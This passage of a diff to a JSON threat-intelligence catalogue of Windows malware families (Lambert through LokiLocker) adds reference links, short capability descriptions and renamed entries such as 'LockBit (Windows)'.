"https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://twitter.com/_CPResearch_/status/1484502090068242433" ], "synonyms": [ "Plexor" @@ -22528,7 +26778,7 @@ "type": [] }, "uuid": "3af9397a-b4f7-467d-93af-b3d77dcfc38d", - "value": "Lambert" + "value": "Lambert (Windows)" }, { "description": "", @@ -22544,7 +26794,7 @@ "value": "Lamdelin" }, { - "description": "", + "description": "FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.\r\n\r\nUsing Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot", @@ -22579,7 +26829,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok", "https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector", - "https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802" + "https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802", + "https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken" ], "synonyms": [], "type": [] @@ -22607,7 +26858,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot", "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", - "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf" + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", + "https://securelist.com/lazarus-trojanized-defi-app/106195/", + "https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/" ], "synonyms": [], "type": [] @@ -22641,6 +26894,32 @@ "uuid": "8faf7592-be5c-44af-b1ca-2bd8caec195d", "value": "Leash" }, + { + "description": "Lemon Duck is a monerocrypto-mining malware with capabilitiy to spread rapidly across the entire network. The malware runs its payload mainly in memory. Internal network spreading is performed by SMB RCE Vulnerability (CVE-2017-0144), or brute-force attacks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck", + "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf", + "https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/", + "https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/", + "https://therecord.media/lemonduck-botnet-evolves-to-allow-hands-on-keyboard-intrusions/", + "https://success.trendmicro.com/solution/000261916", + "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", + "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", + "https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html", + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://asec.ahnlab.com/en/31811/", + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://cybotsai.com/lemon-duck-attack/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ff1896f4-8774-4c15-9353-918e3dc2e840", + "value": "Lemon Duck" + }, { "description": "", "meta": { @@ -22678,10 +26957,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.liderc", "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/", - "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media", - "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html" + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", + "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html", + "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media" + ], + "synonyms": [ + "LEMPO" ], - "synonyms": [], "type": [] }, "uuid": "ed825d46-be1e-4d36-b828-1b85274773dd", @@ -22710,6 +26992,19 @@ "uuid": "96b0b8fa-79b6-4519-a794-f6f325f96fd7", "value": "LightNeuron" }, + { + "description": "Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user’s data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the JSON format for exfiltration. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightning_stealer", + "https://blog.cyble.com/2022/04/05/inside-lightning-stealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "48a21f7a-3dc9-4524-9628-10ed0f762bb4", + "value": "Lightning Stealer" + }, { "description": "", "meta": { @@ -22729,11 +27024,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", "https://github.com/werkamsus/Lilith", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt" + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf" ], "synonyms": [], "type": [] @@ -22774,13 +27072,16 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat", "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", - "https://github.com/NYAN-x-CAT/Lime-RAT/", + "https://blog.reversinglabs.com/blog/rats-in-the-library", "https://www.youtube.com/watch?v=x-g-ZLeX8GM", + "https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", + "https://lab52.io/blog/apt-c-36-recent-activity-analysis/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://blog.yoroi.company/research/limerat-spreads-in-the-wild/", "https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/", - "https://blog.reversinglabs.com/blog/rats-in-the-library", - "https://lab52.io/blog/apt-c-36-recent-activity-analysis/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://github.com/NYAN-x-CAT/Lime-RAT/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html" ], @@ -22863,48 +27164,99 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit", - "https://seguranca-informatica.pt/malware-analysis-details-on-lockbit-ransomware/", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://www.trendmicro.com/en_us/research/21/h/lockbit-resurfaces-with-version-2-0-ransomware-detections-in-chi.html", - "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://id-ransomware.blogspot.com/search?q=lockbit", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", - "https://blog.cyble.com/2021/08/16/a-deep-dive-analysis-of-lockbit-2-0/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.intrinsec.com/alphv-ransomware-gang-analysis", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://news.sophos.com/en-us/2020/04/24/lockbit-ransomware-borrows-tricks-to-keep-up-with-revil-and-maze/", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://blog.lexfo.fr/lockbit-malware.html", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-1-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254354", + "https://asec.ahnlab.com/en/35822/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://www.netskope.com/blog/netskope-threat-coverage-lockbit", - "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb", "https://www.crypsisgroup.com/insights/ransomwares-new-trend-exfiltration-and-extortion", "https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/", - "https://www.prodaft.com/m/reports/LockBit_Case_Report___TLPWHITE.pdf", - "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/", - "https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", "https://www.advanced-intel.com/post/from-russia-with-lockbit-ransomware-inside-look-preventive-solutions", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", - "https://news.sophos.com/en-us/2020/04/24/lockbit-ransomware-borrows-tricks-to-keep-up-with-revil-and-maze/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://medium.com/@amgedwageh/lockbit-ransomware-analysis-notes-93a542fc8511", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://ke-la.com/lockbit-2-0-interview-with-russian-osint/", "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/481/original/010421_LockBit_Interview.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", - "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-recruiting-insiders-to-breach-corporate-networks/", - "https://blog.lexfo.fr/lockbit-malware.html", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool", + "https://unit42.paloaltonetworks.com/lockbit-2-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", "https://therecord.media/missed-opportunity-bug-in-lockbit-ransomware-allowed-free-decryptions/", - "https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets", - "https://www.bleepingcomputer.com/news/security/energy-group-erg-reports-minor-disruptions-after-ransomware-attack/" + "https://skyblue.team/posts/hive-recovery-from-lockbit-2.0/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", + "https://www.cybereason.com/blog/rising-threat-from-lockbit-ransomware", + "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md", + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", + "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", + "https://www.prodaft.com/m/reports/LockBit_Case_Report___TLPWHITE.pdf", + "https://www.ic3.gov/Media/News/2022/220204.pdf", + "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-2-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254421", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://intel471.com/blog/privateloader-malware", + "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", + "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://www.mbsd.jp/2021/10/27/assets/images/MBSD_WhitePaper_A-deep-dive-analysis-of-LockBit2.0_Ransomware.pdf", + "https://www.crowdstrike.com/blog/how-crowdstrike-prevents-volume-shadow-tampering-by-lockbit-ransomware/", + "https://seguranca-informatica.pt/malware-analysis-details-on-lockbit-ransomware/", + "https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/", + "https://www.trendmicro.com/en_us/research/21/h/lockbit-resurfaces-with-version-2-0-ransomware-detections-in-chi.html", + "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/", + "https://id-ransomware.blogspot.com/search?q=lockbit", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://blog.cyble.com/2021/08/16/a-deep-dive-analysis-of-lockbit-2-0/", + "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/", + "https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/", + "https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/", + "https://www.connectwise.com/resources/lockbit-profile", + "https://www.bleepingcomputer.com/news/security/energy-group-erg-reports-minor-disruptions-after-ransomware-attack/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit", + "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-recruiting-insiders-to-breach-corporate-networks/", + "https://www.lemagit.fr/actualites/252516821/Ransomware-LockBit-30-commence-a-etre-utilise-dans-des-cyberattaques", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/", + "https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/", + "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/" ], "synonyms": [ "ABCD Ransomware" @@ -22912,14 +27264,14 @@ "type": [] }, "uuid": "fd035735-1ab9-419d-a94c-d560612e970b", - "value": "LockBit" + "value": "LockBit (Windows)" }, { "description": "According to Trend Micro, LockerGoga is a ransomware that has been used in multiple attacks, most notably against Altran Technologies and Norsk Hydro. It encrypts a range of documents and source code files but certain versions had little to no whitelist that would protect import system files such as the Windows Boot Manager.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga", - "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://dragos.com/wp-content/uploads/Spyware-Stealer-Locker-Wiper-LockerGoga-Revisited.pdf", @@ -22931,10 +27283,12 @@ "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", "https://www.youtube.com/watch?v=o6eEN0mUakM", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", "https://www.helpnetsecurity.com/2019/04/02/aurora-decrypter-mira-decrypter/", "https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/", + "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202", "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/" ], "synonyms": [], @@ -22948,12 +27302,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows", + "https://news.sophos.com/en-us/2021/08/23/proxyshell-vulnerabilities-in-microsoft-exchange-what-to-do/", "https://news.sophos.com/en-us/2021/08/27/lockfile-ransomwares-box-of-tricks-intermittent-encryption-and-evasion/", "https://blog.cyble.com/2021/08/25/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows", "https://twitter.com/VirITeXplorer/status/1428750497872232459", "https://www.csoonline.com/article/3631517/lockfile-ransomware-uses-intermittent-encryption-to-evade-detection.html", - "https://thehackernews.com/2021/08/lockfile-ransomware-bypasses-protection.html" + "https://thehackernews.com/2021/08/lockfile-ransomware-bypasses-protection.html", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/" ], "synonyms": [], "type": [] @@ -22967,26 +27328,28 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky", "http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html", - "https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html", + "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/", + "https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/", "https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://vixra.org/pdf/2002.0183v1.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", + "https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/", + "https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/", "https://dissectingmalwa.re/picking-locky.html", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "http://blog.talosintelligence.com/2017/06/necurs-locky-campaign.html", "https://thisissecurity.stormshield.com/2018/03/20/de-obfuscating-jump-chains-with-binary-ninja/", - "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/", - "https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/", - "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://threatpost.com/ransomware-gang-arrested-locky-hospitals/155842/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", - "https://vixra.org/pdf/2002.0183v1.pdf", - "https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/", - "https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://threatpost.com/ransomware-gang-arrested-locky-hospitals/155842/" ], "synonyms": [], "type": [] @@ -23038,10 +27401,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.loda", + "https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html", "https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html", + "https://www.silentpush.com/blog/more-lodarat-infrastructure-targeting-bangladesh-uncovered", "https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware", "https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html", - "https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html", "https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/" ], "synonyms": [ @@ -23104,10 +27468,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lojax", - "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", + "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://www.youtube.com/watch?v=VeoXT0nEcFU", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", + "https://habr.com/ru/amp/post/668154/" ], "synonyms": [], "type": [] @@ -23115,6 +27481,21 @@ "uuid": "15228ae0-26f9-44d8-8d6e-87b0bd2d2aba", "value": "LoJax" }, + { + "description": "LokiLocker is a .Net ransomware, which was seen first in August 2021. This malware is protected with NETGuard (modified ConfuserEX) using the 